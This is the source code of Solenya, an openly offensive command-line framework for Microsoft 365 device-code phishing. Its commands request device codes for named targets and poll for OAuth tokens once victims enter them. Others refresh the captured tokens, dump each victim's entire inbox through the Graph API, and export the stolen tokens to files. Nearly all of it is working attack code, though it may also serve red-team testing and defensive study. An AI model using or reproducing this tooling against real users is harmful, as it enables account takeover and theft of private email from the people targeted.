38 | updated_targets = []
39 | for target in targets:
40 | if target.is_exp('refresh_token'):
41 | current_app.display(msgs.no_refresh_token(target))
42 | continue
43 | updated_targets.append(target)
44 | targets = updated_targets
45 | target_id_mapping = {target.id: target for target in targets}
46 | cors = [client.refresh_access_token(
47 | target.refresh_token, target_id = target.id, raise_on_status_code = False) for target in targets]
48 | responses = client.client.loop.run_until_complete(gather(*cors))
49 | for r in responses:
50 | target = target_id_mapping[r.resource.func_kwargs['target_id']]
51 | if r.status != 200:
52 | current_app.display(msgs.could_not_get_access_token(target))
53 | continue
54 | target.access_token = r.json['access_token']
55 | target.access_token_ts = datetime.now()
56 | target.save()
57 | current_app.display(msgs.access_token_success(target))
58 |
59 |
60 |
61 |
--------------------------------------------------------------------------------
/msph/commands/wsp/command.py:
--------------------------------------------------------------------------------
1 | from datetime import datetime
2 |
3 | from msph.app import Command, current_app
4 | from msph.clients import ms_online as client
5 |
6 | from ... import wsp, settings
7 | from ...exceptions import CliAppError
8 | from .validators import client_id
9 | from . import msgs
10 | from ...models import Target, Wsp, WspTarget
11 |
12 | wsp_cmd = Command('wsp', __name__,
13 | validators=[])
14 |
15 | @wsp_cmd.assembly
16 | def assemble_parser(subparsers):
17 | parser = subparsers.add_parser(wsp_cmd.name,
18 | help='initialize the WorkSpace.')
19 | parser.add_argument('client_id',
20 | help='client id of the application with needed permissions.',
21 | type=client_id)
22 | parser.add_argument('-t --target',
23 | help="specify active target name, 'default' otherwise.",
24 | default="default",
25 | dest="target_name")
26 | parser.add_argument('--reset-hard',
27 | help="reset existing WorkSpace.",
28 | dest="wsp_reset",
29 | action='store_true')
30 | parser.add_argument('-v', '--verbose',
31 | help="show output of API.",
32 | dest="verbose",
33 | action='store_true')
34 | return parser
35 |
36 | @wsp_cmd.func
37 | def main():
38 | if wsp.exists:
39 | if not settings.wsp_reset:
40 | raise CliAppError(msgs.workspace_exists(current_app))
41 | wsp.clear()
42 | try:
43 | r = client.get_device_code(settings.client_id, raise_on_status_code = False)
44 | if settings.verbose:
45 | current_app.display(r.json)
46 | if r.status != 200:
47 | raise Exception
48 | except:
49 | raise CliAppError(msgs.invalid_client_id(settings))
50 | else:
51 | wsp.create()
52 | wsp.connect_db()
53 | wsp.db.create_tables([Target, Wsp, WspTarget])
54 | wsp_record = Wsp(client_id = settings.client_id)
55 | wsp_record.save()
56 | target = Target(
57 | name=settings.target_name,
58 | **r.json,
59 | user_code_ts = datetime.now(),
60 | device_code_ts = datetime.now()
61 | )
62 | target.save()
63 | WspTarget(
64 | wsp = wsp_record,
65 | target = target,
66 | active = True
67 | ).save()
68 | current_app.display(msgs.workspace_created(settings, wsp, target))
69 |
70 |
71 |
72 |
73 |
74 |
--------------------------------------------------------------------------------
/msph/commands/export/command.py:
--------------------------------------------------------------------------------
1 | from playhouse.shortcuts import model_to_dict
2 | from datetime import datetime
3 | import os
4 |
5 | from msph.app import Command, current_app
6 |
7 | from ... import settings, wsp
8 | from ...models import WspTarget, Target
9 | from ...validators import ActiveTargetRequired
10 | from ... import utils
11 | from . import msgs
12 |
13 | export = Command('export', __name__, validators=[ActiveTargetRequired()])
14 |
15 | @export.assembly
16 | def assembly(subparsers):
17 | parser = subparsers.add_parser(export.name,
18 | help="Exports data from the WorkSpace.")
19 | parser.add_argument('-a', '--all',
20 | help="Designates all targets.",
21 | action="store_true",
22 | dest="all_targets")
23 | parser.add_argument('-o', '--output',
24 | help="Specify the path to save the output to.",
25 | dest="outpath")
26 | parser.add_argument('-f', '--format',
27 | help="The format of the export file.",
28 | choices=['csv', 'json'],
29 | default='csv',
30 | dest='outfile_format')
31 | return parser
32 |
33 | @export.func
34 | def main():
35 | if settings.all_targets:
36 | targets = [target for target in Target.select()]
37 | current_app.display(msgs.exporting_active_target(targets[0]))
38 | else:
39 | targets = [target for target in Target.select()\
40 | .join(WspTarget)\
41 | .where(WspTarget.active == True)]
42 | current_app.display(msgs.exporting_all_targets(targets))
43 | if settings.outpath:
44 | file_path = settings.outpath
45 | else:
46 | file_path = os.path.join(
47 | wsp.root_dir,
48 | f"targets.{datetime.now().strftime('%Y%m%dT%H%M%S')}.{settings.outfile_format}"
49 | )
50 | if settings.outfile_format == 'csv':
51 | target_rows = [model_to_dict(target).values() for target in targets]
52 | target_headers = next(model_to_dict(target).keys() for target in targets)
53 | utils.save_to_csv(target_rows, target_headers, file_path)
54 | if settings.outfile_format == 'json':
55 | target_dicts = [model_to_dict(target) for target in targets]
56 | for target in target_dicts:
57 | for k, v in target.items():
58 | if isinstance(v, datetime):
59 | target[k] = v.isoformat(sep=' ')
60 | utils.save_json(target_dicts, file_path)
61 | current_app.display(msgs.saved_targets_to_file(file_path))
62 |
63 |
64 |
65 |
66 |
--------------------------------------------------------------------------------
/msph/commands/target/msgs.py:
--------------------------------------------------------------------------------
1 | import colorful as cf
2 |
3 | def target_exists(name):
4 | return f"{cf.yellow('WARNING')}: target {cf.cyan(name)} already exists. {cf.white('Skipping...')}"
5 |
6 | def target_registered(target):
7 | return (
8 | f"{cf.green('SUCCESS')}: target {cf.magenta(target.name)} has been registered. "
9 | f"({cf.coral('user_code')}:{cf.cyan(target.user_code)}, expires: {target.get_exp_time('user_code')})"
10 | )
11 |
12 | def target_reset(target):
13 | return (
14 | f"{cf.green('SUCCESS')}: target {cf.magenta(target.name)} has been reset. "
15 | f"({cf.coral('user_code')}:{cf.cyan(target.user_code)}, expires: {target.get_exp_time('user_code')})"
16 | )
17 |
18 | def could_not_get_user_code(settings):
19 | return (
20 | f"Could not get user_code for specified targets.\n"
21 | f"Client id '{cf.cyan(settings.client_id)}' may be invalid."
22 | "Set '--verbose' flag for more detail."
23 | )
24 |
25 | def target_not_wsp(name):
26 | return f"{cf.yellow('WARNING')}: target {cf.magenta(name)} is not in WorkSpace. {cf.white('Skipping...')}"
27 |
28 | def target_is_active(target):
29 | return f"{cf.yellow('WARNING')}: target {cf.magenta(target.name)} is active. Can not delete active target. {cf.white('Skipping...')}"
30 |
31 | def target_has_refresh_token(target):
32 | return (
33 | f"{cf.yellow('WARNING')}: target {cf.magenta(target.name)} has a non expired refresh_token. {cf.white('Skipping...')}"
34 | )
35 |
36 | def target_deleted(target):
37 | return f"{cf.green('SUCCESS')}: target {cf.magenta(target.name)} has been deleted."
38 |
39 | def target_list(targets):
40 | msg = ""
41 | for target in targets:
42 | if target.active: sub_msg = cf.orange("* ")
43 | else: sub_msg = " "
44 | sub_msg += f"{cf.magenta(target.name)} [auth]:"
45 | if target.refresh_token:
46 | sub_msg += cf.green('refresh_token')
47 | if target.is_exp('refresh_token'):
48 | sub_msg += cf.red("(EXPIRED)")
49 | else:
50 | sub_msg += f"(expires: {target.get_exp_time('refresh_token')})"
51 | else:
52 | sub_msg += f"{cf.coral('user_code')}:{cf.cyan(target.user_code)}"
53 | if target.is_exp('user_code'):
54 | sub_msg += cf.red("(EXPIRED)")
55 | else:
56 | sub_msg += f"(expires: {target.get_exp_time('user_code')})"
57 | msg += f"{sub_msg}\n"
58 | msg = msg[:-1]
59 | return msg
60 |
61 | def target_made_active(target):
62 | return (
63 | f"{cf.yellow('WARNING')} WorkSpace did not find an active target, Setting target {cf.magenta(target.name)} as active."
64 | )
65 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_Store
2 |
3 | # Byte-compiled / optimized / DLL files
4 | __pycache__/
5 | *.py[cod]
6 | *$py.class
7 |
8 | site.db
9 |
10 | # C extensions
11 | *.so
12 |
13 | # Distribution / packaging
14 | .Python
15 | build/
16 | develop-eggs/
17 | dist/
18 | downloads/
19 | eggs/
20 | .eggs/
21 | lib/
22 | lib64/
23 | parts/
24 | sdist/
25 | var/
26 | wheels/
27 | share/python-wheels/
28 | *.egg-info/
29 | .installed.cfg
30 | *.egg
31 | MANIFEST
32 |
33 | # PyInstaller
34 | # Usually these files are written by a python script from a template
35 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
36 | *.manifest
37 | *.spec
38 |
39 | # Installer logs
40 | pip-log.txt
41 | pip-delete-this-directory.txt
42 |
43 | # Unit test / coverage reports
44 | htmlcov/
45 | .tox/
46 | .nox/
47 | .coverage
48 | .coverage.*
49 | .cache
50 | nosetests.xml
51 | coverage.xml
52 | *.cover
53 | *.py,cover
54 | .hypothesis/
55 | .pytest_cache/
56 | cover/
57 |
58 | # Translations
59 | *.mo
60 | *.pot
61 |
62 | # Django stuff:
63 | *.log
64 | local_settings.py
65 | db.sqlite3
66 | db.sqlite3-journal
67 |
68 | # Flask stuff:t
69 | instance/
70 | .webassets-cache
71 |
72 | # Scrapy stuff:
73 | .scrapy
74 |
75 | # Sphinx documentation
76 | docs/_build/
77 |
78 | # Jupyter Notebook
79 | .ipynb_checkpoints
80 |
81 | # IPython
82 | profile_default/
83 | ipython_config.py
84 |
85 | # pyenv
86 | # For a library or package, you might want to ignore these files since the code is
87 | # intended to run in multiple environments; otherwise, check them in:
88 | # .python-version
89 |
90 | # pipenv
91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies
93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not
94 | # install all needed dependencies.
95 | #Pipfile.lock
96 |
97 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow
98 | __pypackages__/
99 |
100 | # Celery stuff
101 | celerybeat-schedule
102 | celerybeat.pid
103 |
104 | # SageMath parsed files
105 | *.sage.py
106 |
107 | # Environments
108 | .env
109 | .venv
110 | env/
111 | venv/
112 | ENV/
113 | env.bak/
114 | venv.bak/
115 |
116 | # Spyder project settings
117 | .spyderproject
118 | .spyproject
119 |
120 | # Rope project settings
121 | .ropeproject
122 |
123 | # mkdocs documentation
124 | /site
125 |
126 | # mypy
127 | .mypy_cache/
128 | .dmypy.json
129 | dmypy.json
130 |
131 | # Pyre type checker
132 | .pyre/
133 |
134 | # pytype static type analyzer
135 | .pytype/
136 |
137 | # Cython debug symbols
138 | cython_debug/
139 |
140 | #Access tokens
141 | .sol/
--------------------------------------------------------------------------------
/msph/clients/framework.py:
--------------------------------------------------------------------------------
1 | from functools import wraps
2 | from aiohttp import ClientSession
3 | from asyncio import get_event_loop
4 | from types import SimpleNamespace
5 |
6 | class ClientError(Exception):
7 | pass
8 |
9 | class Resource(SimpleNamespace):
10 |
11 | def __init__(self, uri:str=str(), params:dict=dict(), headers:dict=dict(),
12 | data:dict=dict(), json:dict=dict(), func_kwargs=dict()) -> None:
13 | self.uri = uri
14 | self.params = params
15 | self.headers = headers
16 | self.data = data
17 | self.json = json
18 | self.func_kwargs = func_kwargs
19 |
20 | class Response(SimpleNamespace):
21 |
22 | def __init__(self, status, json, resource) -> None:
23 | self.json = json
24 | self.status = status
25 | self.resource = resource
26 |
27 | class Client(object):
28 |
29 | def __init__(self, base_url, base_headers = None):
30 | self.base_url = base_url
31 | if base_headers:
32 | self.base_headers = base_headers
33 | else:
34 | self.base_headers = {}
35 | self.loop = get_event_loop()
36 | self.aio = False
37 |
38 | async def do_get_request(self, resource, raise_on_status_code):
39 | async with ClientSession(loop = self.loop) as session:
40 | data_or_json = {}
41 | if resource.data:
42 | data_or_json['data'] = resource.data
43 | if resource.json:
44 | data_or_json['json'] = resource.json
45 | async with session.get(
46 | url = self.base_url + resource.uri,
47 | headers={**self.base_headers, **resource.headers},
48 | params=resource.params,
49 | **data_or_json
50 | ) as r:
51 | json_ = await r.json()
52 | if r.status != 200 and raise_on_status_code:
53 | raise ClientError(f'Server did not return 200. Status code: {r.status}.')
54 | return Response(r.status, json_, resource)
55 |
56 | async def handler(self, func, *args, raise_on_status_code, **kwargs):
57 | resource = func(*args, **kwargs)
58 | resource.func_kwargs = kwargs
59 | r = await self.do_get_request(resource, raise_on_status_code)
60 | return r
61 |
62 | def endpoint(self, func):
63 | @wraps(func)
64 | def wrapper(*args, raise_on_status_code = True, **kwargs):
65 | return self.handler(
66 | func, *args,
67 | raise_on_status_code = raise_on_status_code,
68 | **kwargs) if self.aio \
69 | else self.loop.run_until_complete(
70 | self.handler(
71 | func, *args,
72 | raise_on_status_code = raise_on_status_code,
73 | **kwargs)
74 | )
75 | return wrapper
76 |
77 |
78 |
--------------------------------------------------------------------------------
/msph/commands/dump/email/command.py:
--------------------------------------------------------------------------------
1 | from asyncio import gather
2 | from datetime import date, datetime
3 | import os
4 |
5 | from msph.app import Command, current_app
6 |
7 | from . import msgs
8 | from ....exceptions import CliAppError
9 | from ....clients import graph_api as client
10 | from ....models import Wsp, WspTarget, Target
11 | from .... import settings, wsp
12 | from .... import utils
13 | from ....validators import ActiveTargetRequired
14 |
15 | email = Command('email', __name__, validators=[ActiveTargetRequired()])
16 |
17 | @email.assembly
18 | def assemble_parser(subparsers):
19 | parser = subparsers.add_parser(email.name,
20 | help="fetch all e-mails from the inbox using the Microsoft Graph API and dump them to a file")
21 | parser.add_argument('-a', '--all',
22 | help="collect all e-mails for every target in the WorkSpace.",
23 | action="store_true",
24 | dest="all_targets")
25 | parser.add_argument('-v', '--verbose',
26 | help="display output from the API.",
27 | action="store_true",
28 | dest="verbose")
29 | parser.add_argument('-o', '--output',
30 | help="specify the path to save the dump to, saved in WorkSpace folder otherwise.",
31 | dest="outpath")
32 | return parser
33 |
34 | @email.func
35 | def main():
36 | client.client.aio = True
37 | current_app.display(msgs.starting_check())
38 | current_app.display(msgs.starting_session())
39 | if settings.all_targets:
40 | targets = [target for target in Target.select()]
41 | current_app.display(msgs.run_for_all_targets(targets))
42 | else:
43 | targets = [target for target in Target.select()\
44 | .join(WspTarget)\
45 | .where(WspTarget.active == True)]
46 | current_app.display(msgs.run_for_active_target(targets[0]))
47 | updated_targets = []
48 | for target in targets:
49 | if target.is_exp('access_token'):
50 | current_app.display(msgs.user_code_expired(target))
51 | continue
52 | updated_targets.append(target)
53 | targets = updated_targets
54 | if not targets:
55 | raise CliAppError(msgs.no_targets_with_access_token())
56 | target_id_mapping = {target.id: target for target in targets}
57 | cors = [client.get_emails(target.access_token, target_id = target.id, raise_on_status_code = False) for target in targets]
58 | responses = client.client.loop.run_until_complete(gather(*cors))
59 | out_dict = {}
60 | for r in responses:
61 | target = target_id_mapping[r.resource.func_kwargs['target_id']]
62 | if r.status != 200:
63 | current_app.display(msgs.target_failed(target))
64 | continue
65 | out_dict[target.name] = r.json
66 | current_app.display(msgs.target_dumped(target))
67 | if settings.outpath:
68 | file_path = settings.outpath
69 | else:
70 | file_path = os.path.join(wsp.root_dir, f"emails.{datetime.now().strftime('%Y%m%dT%H%M%S')}.json")
71 | utils.save_json(out_dict, file_path)
72 | current_app.display(msgs.file_saved(file_path, len(out_dict.keys())))
73 |
74 |
--------------------------------------------------------------------------------
/msph/commands/auth/phish/command.py:
--------------------------------------------------------------------------------
1 | from asyncio import gather
2 | from datetime import datetime
3 | import time
4 |
5 | from .... import settings, wsp
6 | from ....models import Wsp, WspTarget, Target
7 | from ....app import current_app, Command
8 | from ....clients import ms_online as client
9 | from . import msgs
10 |
11 | phish = Command('phish', __name__, validators=[])
12 |
13 | @phish.assembly
14 | def assemble_parser(subparsers):
15 | parser = subparsers.add_parser('phish',
16 | help="fetch the OAuth tokens via oauth2 using device_code.")
17 | parser.add_argument('-a', '-all',
18 | help="fetch tokens for all targets registered with WorkSpace.",
19 | action="store_true",
20 | dest="all_targets")
21 | parser.add_argument('-v', '--verbose',
22 | help="display output from the API.",
23 | action="store_true",
24 | dest="verbose")
25 | parser.add_argument('-m', '--monitor',
26 | help="fetch the OAuth tokens incrementally making API calls in monitor mode, this is preferred",
27 | action='store_true',
28 | dest="monitor")
29 | return parser
30 |
31 | @phish.func
32 | def main():
33 | client.client.aio = True
34 | wsp_record = Wsp.select().first()
35 | targets_expired_count = 0
36 | targets_authed_count = 0
37 | current_app.display(msgs.starting_session())
38 | if settings.all_targets:
39 | targets = [target for target in Target.select()]
40 | current_app.display(msgs.checking_for_all_targets(targets))
41 | else:
42 | targets = [target for target in Target.select()\
43 | .join(WspTarget)\
44 | .where(WspTarget.active == True)]
45 | current_app.display(msgs.checking_for_active_target(targets[0]))
46 | updated_targets = []
47 | for target in targets:
48 | if not target.is_exp('refresh_token'):
49 | current_app.display(msgs.has_refresh_token(target))
50 | continue
51 | # if target.is_exp('device_code'):
52 | # current_app.display(msgs.user_code_expired(target))
53 | # continue
54 | updated_targets.append(target)
55 | targets = updated_targets
56 | try:
57 | current_app.display(msgs.starting_check())
58 | while True:
59 | if not targets:
60 | current_app.display(msgs.no_targets_need_phishing())
61 | raise KeyboardInterrupt
62 | target_devc_mapping = {target.device_code: target for target in targets}
63 | cors = [client.get_access_token(wsp_record.client_id, device_code = target.device_code,
64 | raise_on_status_code=False) for target in targets]
65 | responses = client.client.loop.run_until_complete(gather(*cors))
66 | for r in responses:
67 | target = target_devc_mapping[r.resource.func_kwargs['device_code']]
68 | if settings.verbose:
69 | current_app.display(r.json)
70 | if r.json.get('error') == 'authorization_pending':
71 | pass
72 | if r.json.get('error') == 'expired_token':
73 | targets_expired_count += 1
74 | targets = [_target for _target in targets if _target.name != target.name]
75 | current_app.display(msgs.user_code_expired(target))
76 | if r.status == 200:
77 | targets_authed_count += 1
78 | target.access_token = r.json['access_token']
79 | target.refresh_token = r.json['refresh_token']
80 | target.access_token_ts = datetime.now()
81 | target.refresh_token_ts = datetime.now()
82 | target.save()
83 | targets = [_target for _target in targets if _target.name != target.name]
84 | current_app.display(msgs.target_authed(target))
85 | if settings.monitor:
86 | time.sleep(1)
87 | else:
88 | raise KeyboardInterrupt
89 | except KeyboardInterrupt:
90 | current_app.display(msgs.ending_session(targets_authed_count, targets_expired_count))
91 |
92 |
93 |
94 |
95 |
96 |
97 |
--------------------------------------------------------------------------------
/msph/app.py:
--------------------------------------------------------------------------------
1 | from types import SimpleNamespace
2 | from functools import wraps
3 | import inspect
4 | import sys
5 |
6 | from .exceptions import CliAppError
7 | from .settings import Settings
8 |
9 | current_app = None
10 |
11 | class CliApp(object):
12 |
13 | def __init__(self, name) -> None:
14 | self.name = name
15 | self.plugins = SimpleNamespace()
16 | self.settings = None
17 | self.parser = None
18 | self.active_command = None
19 | self.commands = {}
20 | global current_app; current_app=self
21 |
22 | def display(self, msg, padding=False):
23 | if padding:
24 | msg = f"\n{msg}\n"
25 | print(msg)
26 |
27 | def register_settings(self, settings):
28 | settings.register_app(self)
29 | self.settings = settings
30 |
31 | def register_command(self, command):
32 | path = '.'.join(list(filter(
33 | lambda val: 'command' not in val,
34 | command._name_.split('.')
35 | )))
36 | self.commands[path] = command
37 |
38 | def register_plugin(self, plugin):
39 | setattr(self.plugins, plugin.name, plugin)
40 | plugin.register_app(self)
41 |
42 | def register_parser(self, parser):
43 | self.parser = parser
44 |
45 | def cli_validator(self, func):
46 | self._custom_validators.append(func)
47 |
48 | def register_config(self, config):
49 | self.config = {k:v for k, v in config.__dict__.items() if k.isupper()}
50 |
51 | def run_command(self, command_path, settings):
52 | active_command_bak = self.active_command
53 | settings_bak = Settings().register_from_namespace(self.settings)
54 | try:
55 | self.current_command = self.commands[command_path]
56 | except KeyError:
57 | raise CliAppError(f'Command {command_path} is not registered with the application')
58 | else:
59 | self.settings.clear().register_from_namespace(settings)
60 | self.current_command.default_func()
61 | self.current_command = active_command_bak
62 | self.settings.clear().register_from_namespace(settings_bak)
63 |
64 | def dispatch(self, argv):
65 | if not self.parser:
66 | raise CliAppError('Parser is not registered.')
67 | if not argv:
68 | self.parser.print_help()
69 | sys.exit()
70 | args = self.parser.parse_args(argv)
71 | self.settings.register_from_namespace(args)
72 | args.func()
73 |
74 | class Command(object):
75 |
76 | def __init__(self, name, _name_, validators = None) -> None:
77 | self.name = name
78 | self._name_ = _name_
79 | self.app = None
80 | self.assemble_parser = None
81 | self.default_func = None
82 | self.parser = None
83 | if not validators:
84 | validators = []
85 | self.validators = validators
86 |
87 | def assembly(self, func):
88 | self.assemble_parser = self._register_parser(func)
89 |
90 | def _register_parser(self, func):
91 | def wrapper(*args, app, **kwargs):
92 | self.app = app
93 | app.register_command(self)
94 | app_kw = {'app': self.app} if 'app' in inspect.getargspec(func).args else {}
95 | self.parser = func(*args, **app_kw, **kwargs)
96 | if self.default_func:
97 | self.parser.set_defaults(func=self.default_func)
98 | return self.parser
99 | return wrapper
100 |
101 | def func(self, func):
102 | self.default_func = self._func_wrapper(func)
103 |
104 | def _func_wrapper(self, func):
105 | def wrapper(*args, **kwargs):
106 | self.app.active_command = self
107 | for validator in self.validators:
108 | validator.validate()
109 | return func(*args, **kwargs)
110 | return wrapper
111 |
112 | class Validator(object):
113 |
114 | def validate(self):
115 | pass
116 |
117 |
118 |
119 | LICENSE = """
120 | MIT License
121 |
122 | Copyright (c) 2021 Artur Saradzhyan, Alex Martirosyan
123 |
124 | Permission is hereby granted, free of charge, to any person obtaining a copy
125 | of this software and associated documentation files (the "Software"), to deal
126 | in the Software without restriction, including without limitation the rights
127 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
128 | copies of the Software, and to permit persons to whom the Software is
129 | furnished to do so, subject to the following conditions:
130 |
131 | The above copyright notice and this permission notice shall be included in all
132 | copies or substantial portions of the Software.
133 |
134 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
135 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
136 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
137 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
138 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
139 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
140 | SOFTWARE.
141 | """
--------------------------------------------------------------------------------
/msph/commands/target/command.py:
--------------------------------------------------------------------------------
1 | from datetime import datetime
2 | from asyncio import gather
3 |
4 | from msph.app import Command, current_app
5 |
6 | from ...clients import ms_online as client
7 | from ...exceptions import CliAppError
8 | from .validators import CliValidator, target_names
9 | from ...models import Target, WspTarget, Wsp
10 | from . import msgs
11 | from ... import settings
12 | from ...validators import ClientIdRequired
13 |
14 | target = Command('target', __name__,
15 | validators=[CliValidator(), ClientIdRequired()])
16 |
17 | @target.assembly
18 | def assemble_parser(subparsers, app):
19 | parser = subparsers.add_parser(
20 | name=target.name,
21 | help="manage targets stored in the WorkSpace, shows avaliable targets if no arguments are supplied.",
22 | )
23 | group = parser.add_mutually_exclusive_group()
24 | group.add_argument('-r', '--reset',
25 | help=("reset the device_code and user_code of specified target, "
26 | "program will block if target has non expired refresh_token."),
27 | dest="reset_target",
28 | action="store_true")
29 | group.add_argument('-d', '--delete',
30 | help=("delete target specified by {target_name}, "
31 | "program will block if target has non expired refresh_token."),
32 | dest="delete_target",
33 | action="store_true")
34 | parser.add_argument('-a', '--all',
35 | help=("designated all targets; can only be used with [-r] flag."),
36 | action='store_true',
37 | dest="all_targets")
38 | parser.add_argument('target_names',
39 | help=("names of the targets, creates the targets if no flags are supplied."),
40 | nargs="*",
41 | type=target_names)
42 | parser.add_argument('-v', '--verbose',
43 | help="shows the output of API.",
44 | action="store_true")
45 | parser.add_argument('--hard',
46 | help="overwrite the block in the [-r | -d] flags",
47 | dest="reset_hard",
48 | action="store_true")
49 | return parser
50 |
51 | @target.func
52 | def main():
53 | wsp_record = Wsp.select().first()
54 | client.client.aio = True
55 | if not settings.target_names:
56 | targets = sorted([target for target in Target.select()], key=lambda t: not t.active)
57 | if not settings.all_targets and not settings.reset_target:
58 | current_app.display(msgs.target_list(targets))
59 | return
60 | if not settings.delete_target and not settings.reset_target:
61 | target_names = []
62 | for name in settings.target_names:
63 | if Target.select().where(Target.name==name).first():
64 | current_app.display(msgs.target_exists(name))
65 | continue
66 | target_names.append(name)
67 | cors = [_get_user_code(wsp_record) for _ in target_names]
68 | responses = client.client.loop.run_until_complete(gather(*cors))
69 | for json_data, name in list(zip(responses, target_names)):
70 | target = Target(name = name, **json_data)
71 | target.save()
72 | wsp_target = WspTarget(target = target, wsp = wsp_record)
73 | wsp_target.save()
74 | current_app.display(msgs.target_registered(target))
75 | return
76 | if settings.delete_target:
77 | for name in settings.target_names:
78 | target = Target.select().where(Target.name == name).first()
79 | if not target:
80 | current_app.display(msgs.target_not_wsp(name))
81 | continue
82 | if target.active:
83 | current_app.display(msgs.target_is_active(target))
84 | continue
85 | if not target.is_exp('refresh_token') and not settings.reset_hard:
86 | current_app.display(msgs.target_has_refresh_token(target))
87 | continue
88 | target.delete_instance()
89 | wsp_target = WspTarget.select().where(WspTarget.target == target.id).first()
90 | wsp_target.delete_instance()
91 | current_app.display(msgs.target_deleted(target))
92 | if settings.reset_target:
93 | if settings.target_names:
94 | targets = []
95 | for name in settings.target_names:
96 | target = Target.select().where(Target.name == name).first()
97 | if not target:
98 | current_app.display(msgs.target_not_wsp(name))
99 | continue
100 | targets.append(target)
101 | elif settings.all_targets:
102 | targets = [target for target in Target.select()]
103 | else:
104 | targets = [target for target in Target.select()\
105 | .join(WspTarget)\
106 | .where(WspTarget.active == True)]
107 | targets_no_rt = []
108 | for target in targets:
109 | if not target.is_exp('refresh_token') and not settings.reset_hard:
110 | current_app.display(msgs.target_has_refresh_token(target))
111 | continue
112 | targets_no_rt.append(target)
113 | cors = [_get_user_code(wsp_record) for _ in targets_no_rt]
114 | responses = client.client.loop.run_until_complete(gather(*cors))
115 | for json_data, target in list(zip(responses, targets)):
116 | Target.update(**json_data,
117 | refresh_token_ts = None,
118 | access_token_ts = None).where(Target.id == target.id).execute()
119 | target = Target.select().where(Target.id == target.id).first()
120 | current_app.display(msgs.target_reset(target))
121 |
122 | async def _get_user_code(wsp_record):
123 | r = await client.get_device_code(client_id=wsp_record.client_id, raise_on_status_code = False)
124 | if settings.verbose:
125 | current_app.display(r.json)
126 | if r.status != 200:
127 | raise CliAppError(msgs.could_not_get_user_code())
128 | return {
129 | 'device_code': r.json['device_code'],
130 | 'user_code': r.json['user_code'],
131 | 'device_code_ts': datetime.now(),
132 | 'user_code_ts': datetime.now(),
133 | 'access_token': None,
134 | 'refresh_token': None
135 | }
136 |
137 |
138 |
139 |
140 |
141 |
142 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | # Solenya - M365 Device Code Phishing Framework
4 |
5 | Solenya is a CLI tool which provides a framework to perform M365 device code phishing. As defined in RFC8628, an attacker can perform a social engineering attack by instructing a target to register a malicious application using a device code.
6 |
7 |
8 |
9 |
60 |
61 |